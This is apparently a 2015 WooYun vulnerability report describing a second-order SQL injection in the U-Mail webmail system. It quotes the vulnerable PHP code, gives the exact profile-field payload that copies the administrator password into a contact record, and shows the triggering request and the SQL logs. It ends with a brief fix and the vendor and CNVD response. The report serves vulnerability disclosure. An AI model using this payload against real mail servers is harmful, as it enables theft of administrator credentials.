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缺陷编号：wooyun-2015-099221

漏洞标题：U-Mail邮件系统二次注入3（不鸡肋，可获取管理员密码）

相关厂商：U-Mail

漏洞作者： Ano_Tom

提交时间：2015-03-06 11:47

修复时间：2015-06-09 08:48

公开时间：2015-06-09 08:48

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-06： 细节已通知厂商并且等待厂商处理中
2015-03-11： 厂商已经确认，细节仅向厂商公开
2015-03-14： 细节向第三方安全合作伙伴开放
2015-05-05： 细节向核心白帽子及相关领域专家公开
2015-05-15： 细节向普通白帽子公开
2015-05-25： 细节向实习白帽子公开
2015-06-09： 细节向公众公开

简要描述：

U-Mail邮件系统二次注入漏洞，可直接获取管理员密码

详细说明：

版本：最新版v9.8.57
漏洞文件 /client/oab/module/operates.php 代码

if ( ACTION == "save-to-pab" )
{
		include_once( LIB_PATH."PAB.php" );
		$PAB = PAB::getinstance( );
		$maillist_id = gss( $_GET['maillist'] );
		if ( $maillist_id )
		{
				$member_all = $Maillist->getMemberByMaillistID( $maillist_id, "Mailbox,FullName", 0 );
				if ( !$member_all )
				{
						dump_json( array( "status" => TRUE, "message" => "" ) );
				}
				foreach ( $member_all as $member )
				{
						if ( !$PAB->getContactByMail( $user_id, $member['Mailbox'], "contact_id", 0 ) )
						{
								$data = array(
										"user_id" => $user_id,
										"fullname" => $member['FullName'],//二次注入
										"pref_email" => $member['Mailbox'],
										"updated" => date( "Y-m-d H:i:s" )
								);
								$res = $PAB->add_contact( $data, 0 );
								if ( !$res )
								{
										dump_json( array(
												"status" => FALSE,
												"message" => el( "添加联系人时发生错误，添加失败！", "" )
										) );
								}
						}
				}
		}
		else
		{
				$user_ids = gss( $_GET['userlist'] );
				$user_ids = id_list_filter( $user_ids );//WooYun-2014-72963
				if ( !$user_ids )
				{
						dump_msg( "param_error", el( "参数错误！", "" ) );
				}
				$where = "t1.UserID IN (".$user_ids.")";
				$arr_tmp = $Mailbox->getMailboxInfo( $domain_id, $where, "", "", "", "", 0 );
				$user_all = $arr_tmp['data'];
				if ( !$user_all )
				{
						dump_json( array( "status" => TRUE, "message" => "" ) );
				}
				foreach ( $user_all as $user )
				{
						$qq = $msn = "";
						if ( strpos( $user['qqmsn'], "@" ) )
						{
								$msn = $user['qqmsn'];
						}
						else
						{
								$qq = $user['qqmsn'];
						}
						if ( !$PAB->getContactByMail( $user_id, $user['email'], "contact_id", 0 ) )
						{
								$data = array(
										"user_id" => $user_id,
										"fullname" => $user['FullName'],
										"pref_email" => $user['email'],
										"pref_tel" => $user['teleextension'] ? $user['teleextension'] : $user['mobil'],
										"birthday" => $user['birthday'],
										"im_qq" => $qq,
										"im_msn" => $msn,
										"updated" => date( "Y-m-d H:i:s" )
								);
								$res = $PAB->add_contact( $data, 0 );//二次注入
								if ( !$res )
								{
										dump_json( array(
												"status" => FALSE,
												"message" => el( "添加联系人时发生错误，添加失败！", "" )
										) );
								}
						}
				}
		}
		dump_json( array( "status" => TRUE, "message" => "" ) );
}


漏洞是先引入单引号，引入数据库，在个人资料处，填写如下exp，如图
',`homepage`=(SELECT password from userlist where userid=2)#

t.png


http://mail.fuck.com/webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse=1&keyword=test2

t2.png


然后执行该漏洞函数，请求为

t3.png


查看个人通讯录，找到管理员密码，如图

4.png


SQL执行的过程为

150227 11:43:30	 8724 Connect	umail@localhost on 
		 8724 Query	SET NAMES 'UTF8'
		 8724 Init DB	umail
		 8724 Query	UPDATE userlist SET `FullName`='\',`homepage`=(SELECT password from userlist where userid=2)#',`EnglishName`='' WHERE UserID='13'
		 8724 Query	UPDATE mailuserinfo SET `sex`='0',`birthday`='0000-00-00',`mobil`='',`teleextension`='',`extnum`='',`qqmsn`='',`worknum`='',`memo`='',`o_group`='' WHERE UserID='13'
		 8724 Quit	
150227 11:46:10	 8727 Connect	umail@localhost on 
		 8727 Query	SET NAMES 'UTF8'
		 8727 Init DB	umail
		 8727 Query	SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
				FROM userlist as t1, mailuserinfo as t2
				WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.UserID IN (13)
				ORDER BY t1.OrderNo DESC,t1.Mailbox ASC
		 8727 Query	SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
				FROM userlist as t1, mailuserinfo as t2
				WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.UserID IN (13)
				ORDER BY t1.OrderNo DESC,t1.Mailbox ASC
		 8727 Query	SELECT contact_id FROM pab_contact WHERE user_id='13' AND pref_email='[email protected]' LIMIT 1
		 8727 Query	INSERT INTO pab_contact SET `user_id`='13',`fullname`='',`homepage`=(SELECT password from userlist where userid=2)#',`pref_email`='[email protected]',`pref_tel`='',`birthday`='0000-00-00',`im_qq`='',`im_msn`='',`updated`='2015-02-27 11:46:10'
		 8727 Quit

漏洞证明：

如上

修复方案：

入库前进行转义处理

版权声明：转载请注明来源 Ano_Tom@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-03-11 08:47

厂商回复：

CNVD确认漏洞机理分析(暂未本地搭建或互联网实例复现,时间关系),已经由CNVD按以往联系渠道向软件生产厂商通报.

最新状态：

暂无